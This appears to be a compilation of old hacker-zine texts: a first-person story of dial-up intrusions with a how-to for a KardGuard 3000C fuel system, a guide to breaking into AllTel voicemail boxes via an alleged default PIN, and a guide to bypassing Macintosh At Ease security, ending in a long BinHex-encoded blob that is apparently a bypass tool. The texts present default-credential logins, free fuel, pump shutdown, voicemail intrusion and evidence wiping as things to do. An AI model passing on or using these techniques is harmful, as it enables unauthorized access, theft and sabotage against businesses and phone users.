Although I did find one number that connected at 1200 I think it belonged to the phone company. After I was connected nothing would happen. I tried for a while to get a prompt of some kind then suddenly a line of text appeared that listed two phone numbers and some other stuff that I cant remember. So I just left it alone for a while to see what came up. It soon became clear that the numbers in one column were always one of 4 numbers. RCMP, Fire Dept, Battered Womens Shelter and a second RCMP detachment. It looked like it recorded all calls coming into those 4 places.

One hack I did was on a system that dispensed fuel. It was called a KardGuard 3000C. I knew of two places in town that had these systems. One was where I worked and the other was our competitor. And since I knew how it worked it was easy to get in. I saw their volume of fuel dispensed and such and could have done really nasty things like erase their transaction buffer or get free fuel from them. But I didnt since I did not see the point in hurting them or their system even if they were our competitor.

For those of you who might find such a system I'll give a brief run down on it. The hardware is limited to 300 bps 7E1 and consists of a few things.

You can tell the system as it announces it when you connect:

KardGuard 3000C Motor Fuel Dispensing System.

PASSWORD:

The system uses punch coded cards read by a card‑reader. You have a 4 digit security code that you need to activate the pump to dispense fuel. Everything is kept track of by a computer that reads the amount of fuel pumped, date, card number and a few other things depending on how the card is coded. Like odometer reading or car number.

Now to get into this system via dial‑in all you have to know is the Serial Number of the system. All of these type systems use the serial number as the default password to access it via dial‑up. And its easy to get the serial number. If you know the location of the card‑reader go and look on the side of it. Generally the actual card reader is housed in a metal box. On the side of the card reader itself near the back is a small sticker and the serial number will be written on the sticker. That was how I did it. I just went to their card reader and took the serial number off it and got in.

Once in you can do any number of things. Shut off the pumps or manually activate them without a card and get free fuel, see how much of any product was dispensed. Products range from 0‑15. 0 being regular gas, 1 regular unleaded etc. It is fairly limited of what you can do but you can do some nasty stuff to the company who owns it if you know how. A note to this all commands must be UPPERCASE. And all commands are one letter. Like E is for looking up the 4 digit code for individual cards. I dont remember all of them as we upgraded to the latest version of the KardGuard which supports up to 14.4k and is a faster system.

After about 3 months of this sort of stuff I was at work one Saturday and got a phone call from a Constable Burke of the RCMP Special Investigation Unit.

He informed me that he knew about my hacking and would like to take a look at my computers. I told him that I didnt know what he was talking about, he just said we could do this the hard way and he could get a warrant to search the place. He wanted to meet me at my place in 10 minutes. I said ok. I was shitting bricks by this time. I phoned my roomie and told him to get all printouts and disks out of the house and take them away...anywhere. I took off home and got there to find my roomie gone with all printouts and disks. I fired up the computers and formatted both HD's. Formatting a hard drive had never taken so long before!!

I waited for like an hour...no sign of the cops. My roomie came back and said where are the cops? I dont know I told him. I waited some more still no sign of them. I got a call about 3 hours later from a friend of my roomie and he asked if Constable Burke had showed up. I asked how he knew about that and all he did was laugh his ass off! Now I was thinking joke...bad joke...and it was. I managed to find out that this "friend" had gotten someone to pose as a police officer and call me to see my computers regarding hacking. Well the guy he got to pose as a cop did a good job at fooling me. I guess I was just over paranoid by this time. Plus I was really pissed as I lost a lot of info that I had acquired over the previous months when I formatted my hard drives.

I guess my roommate had been telling a few people about what I was doing. I was more than a little pissed off at him as I had not told a soul of what I was doing since I knew it was illegal as hell. I got my disks back and burned the printouts and laid off the hacking for a few weeks. I started up again and was a tad more careful. I didnt keep any printouts and kept the info on disk to a minimum.

Then about a month later my roommate, who worked for our landlord, came home one day and said that our landlord had been approached by some RCMP officer regarding me and my computers and what I might be doing with them. I said is this another joke? No he said, go talk to him yourself. I did but he wouldnt tell me much except that something was definitely going on regarding me, my phones and my computers. And the RCMP were involved.

After asking around I found out that quite a few people knew what I had been up too. All they knew is that I was some guy who had been cracking systems in town. But word had spread and I still dont know how the cops found out or how much they knew.

But after talking to my landlord I quit right there and then. I went home formatted the drives again, all floppies and got rid of everything. I had hacked my way through everything in town that I could in about 6 months. Also by this time CityTel had upgraded their switch to some of the latest tech and had Caller‑ID installed along with all the other goodies you can get these days. It was definitely time to quit.

Not long after I started a BBS that I still run to this day. I figured that was a way to kill the hacking urge and be legit. I dont live with that roommate anymore. I'm married now and still think about it now and again but have too much to lose if I do and get caught.

On another note about 3 months ago I was at work and dialed a wrong number. As fate would have it I got a blast of modem tone in my ear. My old hacker curiosity came alive and I made note of the number. We have a small lan at work that has a modem attached and when I had a free moment I dialed the number up. I got the banner:

city telephones. No unauthorized use.

xxxxxxx <‑‑‑‑a bunch of numbers

username:

I hung up right there but it was interesting to see that I had found CityTel's switch or something of that nature.

To this day I dont know if there were any other hackers in this small city where I live. As far as I know I was the only one that did any of this sort of thing. It was fun but near the end I could feel the noose around my neck. And I quit while the quitting was good.

Today I help admin our small lan at work with 2 servers and 8 workstations and the Unix I learned hacking helped me when my boss first started to get serious about computerizing the business. Since then I have been able to help setup and maintain the systems we have today.

I'll give the specs on our new KardGuard if anyone is interested as I know they come from the States and there must be more than a few out there.

kwoody

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

USING ALLTEL VMBs

By Leper Messiah

Ok. This is everything you need to know in hacking AllTel Mobile's Voice Mail. The default password on all their boxes is 9999. Here are the docs, word for word. Enjoy!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Features

‑=Basic=‑

Accessing your mailbox

Changing your security code

Recording your name

Recording a personal greeting

Playing a message

Recovering deleted messages

Playback mode options

‑=Enhanced=‑

All of the Basic Features plus...

Setting up your greeting schedule

Replying to a message

Redirecting a message

Recording and sending a message

Creating a broadcast list

Personal greeting schedule

At a glance

VOICE MAIL SET UP Press

To change your security code 8 2 3

To record your name response 2 3 3

To record your personal greeting 2 2 3

To edit a greeting in your schedule 2 2 7

To activate your greeting schedule 2 2 8

To change your playback mode 8 8 3

SENDING AND RECEIVING MESSAGES

To play a message 1

To save and play the next message 2

To reply to a message 3

To redirect a message 7

To create and send a message 3

Accessing your Voice Mail

1. Access your Voice Mail.

From a cellular phone press

# 9 9 Send.

From a landline phone dial your

cellular phone number, which will

automatically transfer to your voice

mail and press # when greeting begins.

2. Enter your security code.

Creating/Changing your security code

1. Access your Voice Mail.

2. Press 8 for Personal Options.

3. Press 2 3 to change your security code.

* Note: Your security code can contain 1 to 7 digits.

Recording your name

1. Access your Voice Mail.

2. Press 2 for your Greeting Menu.

3. Press 3 3 to record your name.

4. Record your name, finish by pressing #.

Options

Press 3 1 to play your name.

Press 3 3 to erase and re‑record your name.

Recording a personal greeting

1. Access your Voice Mail.

2. Press 2 for Greeting Menu.

3. Press 2 1 to play your greeting.

4. Press 2 3 to record your greeting,

record your greeting, finish by pressing #.

Playing a message

1. Access your Voice Mail.

2. Press 1 to play your messages.

3. Message will play.

Options

Press 1 to keep this message

as new and play the next.

Press 2 to save and play the

next message.

Press 3 to reply to a message.

Press 4 4 to replay a message.

Press 5 to erase a message.

Press 7 to redirect the message.

Press 8 8 3 from the main

menu to choose a playback mode.*

Continue to press 8 3 until the

desired playback mode is selected.

* Note: The system has three playback modes: normal, automatic, and simplified.

Recovering deleted messages

To recover a message that has been deleted: **

Press * 1 to go to the main menu,

Press * 4 to recover all deleted messages.

** Note: Deleted messages can only be recovered before you exit the mailbox.

Replying to a message

From the Play Menu:

1. Press 3 during or after a message.

2. Record your reply finish by pressing #.

3. Press 3 to continue recording a voice message.

Press 5 to erase a message.

Press 7 to select a special delivery option.

4. Press 9 to address the message.

If sent from a subscriber's mailbox,

the reply with be automatic. If not, enter

the mailbox number.

Redirecting a message

From the Play Menu:

1. Press 7 during or after a message.

2. Press 3 to continue recording a

voice message.

Press 5 to erase a voice comment.

Press 7 to select a special delivery

option.

Press 8 to play the original message.

3. Press 9 to address the redirected message.

Enter:

a. mailbox number

b. broadcast list number.

Recording and sending a message

1. Access your Voice Mail.

2. Press 3 to record a message.

3. Record your message finish by

pressing #.

Press 3 to continue recording a

voice message.

Press 4 4 to review the

recorded message.

Press 5 to erase a message.

Press 7 to select a special

delivery option.

Press 1 to mark a message urgent.

Press 2 to mark a message confidential.

Press 3 to select notification of non‑delivery. Press 4 for future delivery.

Press 5 to delete special delivery tags.

4. Press 9 to address a message.

Enter:

mailbox number

broadcast list

0 + last name ‑ 0 + first name

Creating or editing a broadcast list

1. Access your Voice Mail.

2. Press 6 to access your broadcast list.

3. Press 3 to create or edit a broadcast list.

4. Enter a one‑ or two‑digit broadcast

list number. If new list, select any one‑

or two‑ digit number. If editing, enter

the one‑ or two‑ digit number assigned.

5. Enter all of the destinations.

Press # after each destination entry.

(destinations can be mailbox

number or broadcast list numbers.)

6. Press 7 3 to record a name for

your broadcast list.

7. Press # when finished.

Setting up your greeting schedule.

1. Press 2 from main menu.

2. Press 2 6 to select your active greeting.

3. Enter the greeting number you want active.

4. Press 2 7 to edit a greeting.

5. Enter the greeting number to be edited.

Press 1 to play the current greeting.

Press 3 to record a greeting.

Press 5 to erase the greeting.

Press 7 to change the time

interval for this greeting.

Press 8 to review the time interval

for greeting.

6. Press 2 8 to activate/deactivate

your greeting schedule.

Message waiting notification

1. Press 8 for Personal Options menu.

2. Press 6 for Notification Options.

3. Press 1 to play notification telephone number.

Options

Press 6 to enable/disable

message notification.

AT ANY TIME DURING A MESSAGE PRESS

To rewind by 6 seconds 4

To rewind to the beginning of a message 4 4

To fast forward by 6 seconds 6

To fast forward to the end 6 6

of the message

To replay the date and time stamp 8 8

To stop and function #

To return to the main menu * 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Good luck hacking.

‑‑ Leper Messiah

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking At Ease for the Macintosh.................. By: Ace

Introduction:

Some educational institutions and businesses use At Ease to discourage the pirating of programs and access to sensitive files, and generally screwing up any fun you would have! Wouldn't it be nice to know how to be rid of it??

How to:

Well, this will tell you how to remove the password for At Ease so you can gain access to the Finder, and also let you change the password to one of your chosing, really screwing some one up.

First off, the computer you will need a copy of Microsoft Word 5.1 or 6.0 (Norton Utilities Disk Editor will also work, and I'm trying my best to find other programs that will allow you to do this). Launch Microsoft Word and go to the "File" menu, and select "Open". Now change the "File Type" to "All Files". Navigate to the Preferences folder and open At Ease Preferences. It should look like a giant mess. Somewhere in there is the password. It doesn't really matter where. Select all of the text with Command‑A and press the delete key, and save the now empty file. Restart the computer. Now you can select "Go to finder" from At Ease's menu.

Other Programs:

You can also use the following program called DisEase. There is also a HyperCard stack that will bypass At Ease. I have used them both, although I feel that using the above method is better.

___

/ _ \

/ / \ \

/ /___\ \ce

/ _______ \

/ / \ \

(This file must be converted with BinHex 4.0)

:#d4TFd9KFf8ZFfPd!&0*9%46593K!3!!!#iE!!!!!"Dd8dP8)3!"!!!Z'h*‑BA8 #r`!!!"Err`d!"d4TFd9KFf8!!kB8!0phS!!4QKS!!!#!!!!!!!$RQdl"G!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!rrrrrd&38%a&390&)3#SX5K#U,)ak!!!Ah8 !!!!!!!!YP3!!!!"j!`!!!!!!!!!!E$d1!&h(r2bZe8l@f@95I#BhbSpfRTQlBe[ GZRV*IQ9bSprES‑Z&df[JCqmPT`0qRTYYSl9`F1ZHk'ffA‑rG'BYZdmh@@Mc22B! l$RR#(H@AF$pG#19#YJrZK,aL9`cbK5mm9V&0&mVGP(YHjbP3A8F[Z9m'0cbI,(Q Jj1#41AcbN!$F3JD3!"')6q"h8PH‑5Bba$`mcGJrH[PeSiT&&LDFRr84p'`Y1"`T H‑XZcQpSAV@Z[edU,Si45[DkYBqA5Q[!%i(X6Pji[IrK2h%jY*r0,JZVrURhm)I@ qG&NM4TfhhhBBFab8MT2Mj1"e831I@rZ*c4c'@MUhEVe8CEXkHc@(bj86S%Hrf3* rjKa@cE)V9cXCUl&Nh[Lqp1D+fXC%G*kcE'qcNdVel4TMFPE#fE3J‑Ijj6&9JDM' ImQ&U!&1I5eGcj‑m4HZ9cqB%2e6UCb[XU1cpPE`2c,BXHU'rTB!`‑Kl3@PM0[%`X i)kK8Cf`HZ$K$U#UFi95,‑p6U2pELR&R)H$f%HJce@EFHAXM5KdU+@3ja*E6HQiR Pam'bE9dMP!6$‑HY3Vk%"imJ6M6Q%e9Y3&k!khCjU(YpEq9cfTV9lA'f@YL5hYA4 `E8Vb#j[(pjANpqSPqCA2qDhL6rG'#QXV1bYA‑jC66+jTr#hV8+#B69rDYj!!pGj 49$[q#0ImNI6Q"EAMZphH&[3qZA!HIqqZI‑jhSq$k@'TGbmDYpAI@lh#Y3%TP"1H FHBb02l'kcfE[6cJ1&#J!Ef"qdYjQEZKSHQ"G"pN@H+`#hS%[8CAN3(e@q9cZPk( TdbAPL)*ZG)p3PbC4IaV[ahSrC68Z,'IGm‑6(hlH65H02eA!p2V1L[ReECpZ'qN9 YEG[D`1iVl(#UQ4hZI5Yr(P"k'Qk`EPPBlMMNQ'Mcq*‑P1GDKG0hlDXGheJ9l[c% jfpY+‑aacC`0Mhih1'pqERf!jkaPl,RQHpIh`,CP9rN"N!r#kHqI#(`m"j5'ipI% YM2hqQN4MpHDX&BR0UqYb9L8f‑rC`AG`k4(Lp(rSI(T1HAEZRVJ+6F‑$i!I6ZF([ $k‑9)*HVhIVeZ$[!1Y$TpmmEr'AQimVQ‑!B3!DRpG,["BR4qp64AcaTpUC*Q4bNl RV*2#qaKr[q'FGXj8VXi‑Pq4E,FjB&)N#$ImF'[kBkhCX`Fk"!@HB9fGj0E*Jjk2 h1ZFAl0bpfaRM9FBk"$IZXJkPYMY1lml#@UZapaR5)G@5'8Ph`2Zc5[,6l4bPqh" q8DdcC+hK#,,@l!ceh&U5MdNC$Xm!F4MDIURh‑kQY,&!bcaNk2$29l!`I"S2HAHL FVh`Zkd[hlUR,KDrEJ$M@qpRm&LBjB`f$32KGcZFfMSZ8"2[fe(B@6Up(G90k3pd F9j&jQGFA3QPdahSA@ifmrLDPZm!85B8N[DZqTG0XEGf+U+,%j1l)hj),Cf5*h(% 6MA!@0a(‑"‑i@hCq3!+6'i1BE9L5fA!Zfm',Qm4SS*hV1NCSpm‑RmLcPDHpH1@Q, L*RlUCllCFeTBS,#&j6r%SQTMhCElILI4Q,0jlGV%jTUkk"qICR,$XT+mG(Y*AUq HfM,K&kiiCPbr6(ZJq&1pN6SG161AjA,2c#d[L'CY#5#Pj,TFfPfLcc2T)HRp5jL kl+Hcqk"*"m[re‑S1E)Z3!,8$#abc[T)j6AZ$‑e55rb'H"V`DiGAj$e%Q$(f)dZ! ‑ViBVJ0I)T$2D[‑cT)dqcR!BQ[8(FZIY1TpXVjQ@HET`MNZ0`[TFC&iDdjXcT&$D TN[c$‑r(1J@0QHM23mh2TJeCMqP(+#1`(mpP59%[Br[3KGf13!+6T5)L(A$C2%XZ D2BeCB(lfm#aJ202+![1!4,[%Pi"b9#3$9i1m‑B3YDI(D2@jU#*Bl1‑[Gll#%Jl0 QZbc,rcG,hmR,,$F`UMiRVEh)‑JrZrCTJHIl(rj8PI#6p*jlE2ClN0BRe2ZpjlI` M,[0E1229dYhT3eSq'1D8j00NqLaa5Mm+[ckEDXimRck,DJ$GiiF,h*QAq‑b2d$f *Q@+ifmh1[DYD0f,$Ueh9dY(8XE9qBkR)Y*(8cl,C(GM!bl&[4jHBTc+I[bhR8pM $Si[08mkpa6Pld)0Z)`ZR4E2hEXml[*!!4DGP*D50U,1c%Z`T‑C‑qa"8fV%2B1B# 'A2Ka5EQ'J`AD3+aE8YXPGRK48@hQ0&*[%Z29+aLp)F)3EKKpJ()*Q`T9"FX'f8R R0#Rjk@4E2C4Fdp5bFGZ$3X@KNQahhmm&,h",hfrG![A"%5lj5N8"FLm)(YqiiTU k"`LYYbd+V#2BqaYbd6Q2cYR'HbmcZ,%LZf(fVcNm*0AGGJQViBD+l‑CVIqh5KpJ mm(@'V9Yk1i$c‑($8Aq‑)9Gl9X""Ek*'E@(ifNaU3!,dmNrbdNIYZUX0@a[[6H*p hiE!hm$k&pmrG$IeKE1L2)X%C1cl"lLA"M[fTUqil'I,I(5)B6$RN(3l[1)4M[H1 3!%YBIqZ3!(G`,MY%+1$ZJ‑8&2#IXECI6$UF[f!‑2UpM2dhKr+IelVFkaj[%[,f5 mqpR*1HV`@FUfcr)‑AiqC,q0pQ%p64b"1cK$fiI4RLIZMLp[@0GF[j@G4QGG,XR( Zp'fF4$8l,r+6U1rbNkJrGBC4(A91SIUKFhVHcZD'M@h1kpJ+bpZE'PZJm1YJlLH PSq8j0kH[[D1JBNP$"mf[UhqJSk6mrXkQ$Tl01#AKQ6S8,Fp6ACaPY%8l3hLISQd $A8TCC'qdI‑Ce,NBKa`!lfCqqePSM'%cd6SPHUe6A&Pe#*d'CebZIBdrQ,aPrBL* p*%SEeM142M,[laAR3jRAN6bRm4kF1KrLh2k4‑bXZcTcNZrabL'afZ)H+HQf`)&T 3)6Ak$bfZNlqiZ(Khj3mkC+efS9b5mj8h1eMPH@GBfmEm@JR,`4BaU09@9e8H)qI IA995[V*Q4B4frGiH(4ZmT@J&MEU@d+UMXf0dMR$Yea,VJkeXTGQB&CMpJlkkXi( !LN42FH9pB,'RmPM&G[Qa,AUdR1hpiQ)pKIU*3iZrr[h'J&kVe8B,5UEhl&fBB2l +6Z+2D8P2e@Aj3RQba0!0[*CBQE$@,[qq‑aE$CUpYPjmZfqPNQ*aIb"`f[G'U+'3 j,4TQ(#CcTY%bC"Rem[60"RSi4kfld@VLL$+`!SdjQ2*M+JZeMmQBpHI2Cl*8dT) EQ#q9V%L%%LbEFjQC‑jrjmr6'V""abXRI[Y#4(eX[ZY‑$mq@Ec221Kf2B*BjSDrU GX49QQFPb+qE,Rpdb1cKIZJ!*VmQAX(2N3VIMS8dXQmdSfbi(f‑b+lEkcc6DBc`4 kZG@i(1KD9HRfh,9XGQ[1Nh804ZNQ&QIA2TRGF%0i%lZ(4F‑l&keBHLHlX9A#G&E C*RBYQeReeka,@kVAhPYear‑rIk6b"cL9IK(E[53fZiG`AYEc@bZ@j#pKdj[2pQa !RMbAENPRHS1pdGi"*‑T(N!!l1,[@#RTLk@UJ"Gac3cUh[EpQ$dHHe[ac#qGYf*p ZAl#6&BirLFl1pbA'HrMH1TG[iR,[mpJqRqAEjeIBNhc'afHq`8r(‑)20k6DDmjh k&CE[c5YBl[RD6CJk2S@%ma@D1HNKdBB($3f@LqTHCY&j3qBPp1Vja"qk%`1YqFH D‑pr''6A9ck‑H4[fL@q1NND2mL%pred9jbChq8lIq2U(Jp1ECRPY4IB0AahPeXZG @D0'&pm2&a@,6rZ65PUD1TR9EQlSSHhYaAXV2+ri%fQ&,%GV4b4ek(k#kT0aHXAT

&ledF4q)iTcb0‑Aq+F(Tr'bI$iY3Ufi,hm(k'YVE‑9rQ')2%cNUq`IGK2F$kre3m rhe"5RUj$'Mc(@QpLlfYa4M02SaV*2,0f6b"El(Tlee3Z@YUqY"N(JmdipklIk*l BJH1KN[)epU,&#mYPeYXcVaERpP$ZMS,m*3j1lMMc)h9qU("%‑2R%QNe0'cB4iL3 $1TNX+'Cjd1@6a#"DRRlL#iZr1ZL‑VIkHRHeTm*QDYR@YjJ2VQVDZ@mm2(TR‑cr2 arTbe2EIL$ip#33‑Ee`j+Ua5fK03DE'D5IV[cDZ@r$$#YQ@fYh0XlI2HHN[*l&Uf SJNipaKVUfQD059eYM9DYEjqHBkbSQaPlT5%hGN1GE&e2QIZYrSE"hLrfIT'MV9L %hBr3HQl@UPp,'$2UXQ+cr``‑XAf‑p(i4'dTYE(CmpT'eb2Vc&9CMTR*)'h0R(Vm iFpkGX9TbpjV0@FF5jK$1K3)dbaJf,(q*bI`k0Uf5@QMj‑`U`19,+HZNlKH`f+EA SqrrQ4hE+XUbq&iip[1bRV&`[!20h88Ya2XiqMrP2rphm6Nhk"i5jrc#I2mQJSR[ cM4@l0ZIEhIBZ6'US1QhD@UrP%jfBcH@6@CMU,1DlaGHk0f6TV*99GKjjG(eqp`Z T4)aCL95LX[0VMkkrSCMhD#Uej!k@@[,B#p(Xe**BGQ8R1H+ehDpp!LJMh5rd24V c[GKAl%XY1GUA@[,$4qYcpMfmhNqF9bEUAUqNBqBH[)mJ14j"[4G[MIRj1H)3fqI @iPaaL$hReMm@Y83RpP62GHY+Yfi4Y9`SD[mh8FZp3p05SXlqT+Mcbphk@9&,Bfj p305‑SIC4cA*c6V)Xe26'dETh1BKm3Jqr)M9e,@VLqT!!1mrB,*`6apM6NSeYeB2 MGkPQXd*@+‑ACN!!f0CJET4$Y[R)e+KYLj1#H8J$86rSF"`$5%b‑,hqVa*kBr‑ec lCPUY[[A+QqCS2Zf[RTiHAXjlK%P[`UHh+p+[RfbcZRSCK%D,Uh2M)R2P)QSZAN% ,!kQd0&NC%4fm%p3Sk$[jXFa(‑miEhh[MHaRRYHm‑rM6cd@k`p%J9p!PMA(RFmAG eCc01R$L"%K8pVq*pR0H$Jlr!Hr$%kB(6,jmHQ+TrJIIJL3(8!e3lU*h"9`HGFE` c*dkm6"51!TSr[j,GFr6I2k2LQ@LZlYV4Y@1('"TcKeGe6I6(k0Qa@Y68[qfffmC @V4,eIqPhG8hdrk+SU)Mk[%ErP5,('H[D)HUadI(aF9LSUd[8Bk0GA9fVGU!J99D Y%U3[2[p0hPpj3(,kN!"a5'J@B#2XQUXMj‑qlr(h15CEY$,R4Hc@"jcH‑*bmkrY0 $kFAcbhe1$*`B1(lmf‑6imCF(AXEM$TmiMZ'"P`FSi5MMMJr300i$aemq‑A"8M#( 94(f8jJF'MJi‑L2VSmH18D%G2[#aUc*mH'1LMH9krH[a5rmVmZhKZrf@h"Mm5M[U m"Kr1'h`prTrQr41L4Vpm`(')$kr4[ichjiF22q1‑RcJKkU‑RALAGIJ(PH3fpi39 5'Li"*)K"mCH4hc!)pEd‑rpXXrlm2PUfV46cZ5M'jFe`HAleU94HpmAX2J)q[S[F 1r0i"%*X+(ke#bB%ZNX8ZX30MH(CJ%0‑##'5`AD!l0V(Pd%‑F,r@"2iUGaAf`iQ$ *QHS$Ia3EMAL+X#+Y@Mh9VaSEhB%qYL!mc‑1Il+m@q*2c9DZUhZPcrT0pN[LGrYJ SmIdEIPeAjV&8AFB(hr1ZPc#rHMA`*[Y#RdQpi4R‑Ap'IYMThR[1El'‑Hr&j"LrB 86jq,r5[mi1mVr'JV&)ZK3dXUha+p2[QMDh)aK+GhV*lU%ckYN!!`I"@0dT)VXS4 ERIa2NR@YjYP44IKm&LJdmGlZq6phdDY!2$0a6U1bEdR0V0ZfMp$Tc16%`qi%A3D KTj@0XNHNKAkjkNkai$'E98S,Gm[hLD1MD[6ASjr2l`KVPFrIVYe(ph9dGqAqHhc IQ6T`TH0DN!$&K3&F*[ZC02Z1BKE%*FfCZ2DC[f8p,JVl@ZipPSJZB&Q9&m!JK8VRHAH[BFI#MmrTeE,DbcAlZbTZ291A!Z1iE,GpdUbF3#BU+kU‑eEYi4I"jl)(dUG `a8KYPHBPQ&SAp&#NIG99VBaQPJh1lRD'kES),M6Ndl86jpA8cpKX+*&[$MU[*Nq cJ2B6l5GcYV+(YCA43TEeJaBJY$K[d&9`D6FkJqR(d`I5rccpjqLpQ[i#CrdIF1( Up94IV0JjQATKlki5A#'(VVQT[K)FE%V2cdPSHH#V0JB)V552BriP,U(qK$V!2TA UXlYaADmBPm&i*hf5)mePEHRM9,8kZ!$&d[ralMhT9qE8dJ63MjINY8TmMY!``I% iVr5ri%VYKpl‑q6%GIBZ,K"*GMXeThIU&Q`T6@RlMeQJ4bi*Z4EK!#0hDVMQfke4 h‑IZ,2DR[BG+2b4$0k8b$Lq6m,p`d,i9,`cRDXTk#9PBAjGIiF&8j[He@A&*PmJH AX#aY@I9Zr8lbN!!*,iN1A3",Yf[jh(hmfJ,8'#6I3Bemce1NE@&Y54'8,),fq@P i,[h[m2l*45hIF0&ad9HJ`lNjdEPFaI*ZpQ+L8G@f‑TPddUV[K4,k+rSVZ+l,9D% HCi%%%0IjFHdHq(!#VXfQ2dV)23@NEL(dG*N1dCALFU39%LZh)3Zk‑japJ[QF6C3 4b8&RZ'Bh‑B0lchkfa6Q2HKMeL28dric"‑+i`2e+Bd2,A9VRSAm28%2F0,L%63[S X($+8EKIZ4TVPi5+hR2lhP$R12F)A1GQ‑h9Z&DkCj`$f1#r*l8,p@8p8UpbeT[*d `k0S$TZP#kA'U8Yq&%ZG6IAV@[ZlAGLf8@N95B,)N(pKrbC&qdZS(rZb5['M@AQL (+bJ#"5`j"V+%qlE2i9Hpk1LH(p[,"R[T"Fdbk$*"AbVaBYq26,T)m)‑AY4`$"rK )rDr4)Y!Gi2Z!KTrhT0`h(90)lae9L!N2m9)A6`%1N4Fk6Ymr[8I`([[(0hK1[8I SlI'('!Pk4jbaK‑(Na‑fV,&(Ab+*1A+kV48h[L226%FMTeeM*X‑B+9BhGp[ZDla6 9H&1IjM4rJA25M`XR`hLM,TMJM`IEP(H‑6bG5U'@U"`DBccfdJfZqp5h8dhEcKf8 pb"q@,GCIPQ2cKdhAqF1ZqFmlj$@6TiedUi#G%AMdP2bQ,`M[hZhf#aAhNDr@dGF [qJ!1m26Q04!QqL6j9(qASJ6qTZmiPrUS[EjKAF+,a%3I@`1EiZ2bprajKQ#T$j2 [h[f*r@GL)%Rp"MbBQ‑!MpcFdE[r%r[e2N!#H&rdY(1lliG8+8[[+NidXZ`DR+&G ,1"1rc2eU$(G5a(R‑4'UlU5bl+HcE[jqRYhmr(Y66U0krRf8e02"q0YASjlKT2pe 0qe`hlI2FY‑ph8hl'2k6k93!H#3%jC@fejJ2eeN4A85$U5M[X*QR`ZSff[AM*)Jc

&1jCdfTCk2ieGCbrKiah@GGH6Z[YXNkYZ@1VeT0kqHR‑IbPXMX@Z[,pbpZa[cqf# DkFB+9I56EKri["mAr8KXeL@m0VHrj(l4Mi@Zli0+qaBYrcc+kEH!$qII+IMI![l rL[S2h[m(SKqk[RHrii$2ja#DScGMRZ‑p‑+(A4dqFq+PcVV%4"rf1!chE5,pE1KZ j#cXXYG&HNPbpTV'KCSRGBG[@G3mqZ0*Hp0ZGMAC(`dVd*hFSelGA)AKb2Xl2k@l %Zj,kANl"`kk0DDA&Na#hSIifmA‑i[X+X!$RE8+f!T0LQ"41JDbTa@`dV'&A$c!r r"a8c8+VDCXL1++CL"XfbH‑`‑+UA"'X8U8a1+U8C+`dSiSZK+5&'NH%K466XF$+X 4‑f$DDSJTIP8T"4d$ND)'H++%3S'!EB5Pd+a`)""35Je,!8Y9X@+4J")X9Aaf4&+ @5iUN5P)3@ULUSKY"b94#)!+@08UB+B#1k*4LFSaQG1#VbNT&3K93N!"R%UMiiU8 kBNleQj!!ae*Y)US%`dSd%$#93"$L!LmJ"94E#8TK99(#DLJ3$"R*T+%%3bEkJ8" F!l%DDhN5%iTFTTLQ,flUX!8J!dT))aFTBG‑S09GLaZ,V!%d%)9%LU!C‑96AMLT) `3f&&Kc@3!+e)9`81X0&Ar,SD9p95+fbBm!Bdm'&Y0293Z03(H3a3+N@GM%"99B*

&bZ#pN!#ZP*@Uj!89#LU5U8,A)%5)5J(6$#Pf+)c(,Je*9J,18[5JDUV35j%N+45 dbjB(JRB)RLJeH‑,$4$"3Z"4@$+0T,P)L5U68Y"8,4Sr"6CB5$2K9%eb83#3‑3NU TCBGJ&b9%8U[+,‑Xd`U@K*+`9P",a3#NS+k8Q*X‑"‑!VCF"X%S&KKLJ4‑#l1)'UJ Q+D8"‑kB`+3QbNXq#bp9`h%3@3EP5#B6#bXdDHQVB9')5'Gj80F@dV6*P9K$4B+) "5D3B!)Ah`NJRf‑8dlB!8$"S"#+F#%NNL+6AJ,)'k(T*#(0T5T9$!#UX)28KL+9B bS*Kq+%F`a‑%LIj5#6eJbQ336Ni%P0Bld3B*"*eK#a8B89fa%8!Jr9BA1#"$%Jk3 Q5@0l1EN)ZX#!!!r$ENSiVUL"L"%[JqGK$6H)%8Vq)#NPUc8f021[L#YQ'I3A34c #GFd`@EPDY@0*NaQ3!*0F1a(%*LLS5SfK*'(D@@@aZ'AC%"#j*S)Bp&@BLVJVUQ@ 'c4!*JZ`33Cb%aq'M**)HrJF%P#&aN!!F2)L43F&S++MB&K`"VP*Te)4UX*m)BPJ 32*!!8XKE‑f3'N!$EDY+@CLPZ%*2e*"11Kdf$XP*'CN+kFlY4%)‑YV+Y)‑&%5[*! !!#5!6`ql33`AKT8D&Ei#ja#NK9HJ&eL))%CQdaT!+3AFm!H3!([Fq+Dk3S%$3NJ d#j%%Am'#55aZ%8Sq43dL)V(eK0A5F%#'@`+'S[KM5&4!"5LfH')(%9%f6%f#mb% %H,Jd'E`CKLUe&6880%‑@'L3Up)62`!fl%(F[l6Kaa3UTDS)BN6PXb)L)8J2"P8T 5LGd‑J$)*X8lNJY`FJ3M(aP*$U`Ul@9d1)@L#PK‑6HaQ‑EbPf')ST5X3U0A8+9F` +F`"9$G&HJ4d#HTJ4'pTL3k!pLXb"d$!45dUC'Jk&&‑PBC',l‑#e6Y3‑4'`+TjLb EGJ2`J)U5A`AK1)5dVE#PK‑RqYNPkQH(P)@9@`N61@qDXB%$&,&GBKa8X"$TD#U8 H8S3XKEd![L#&I8JK*43h*GK‑X,6ML#6NP‑hY$`("!"4J%*2VDJ0"5CEL63UESG* 5*@c8b)Z849Jb6"YlT4@bJRB3lSA#38KLJ!b3!'0)$0U5b$i4+j3)NIe*$MJA)cE F5C6K+L88,,86Y&!"VBB8T‑H%!L&9YU%%9,()JEST*@4b)RQ%Ee%8JE38U9#5far ,@8#*)ecmN9Q8Z)MR)0Ba#‑6Y$`[@m*49E&5'BGp‑L`Mf‑pKBE$X)FT8@+`42NPC EV'`JLDLh9jTa1%i0"d,KU)MTQR!iC+T*``S##Lj@bLaP%E6!aMFV@4S*Blq46&P 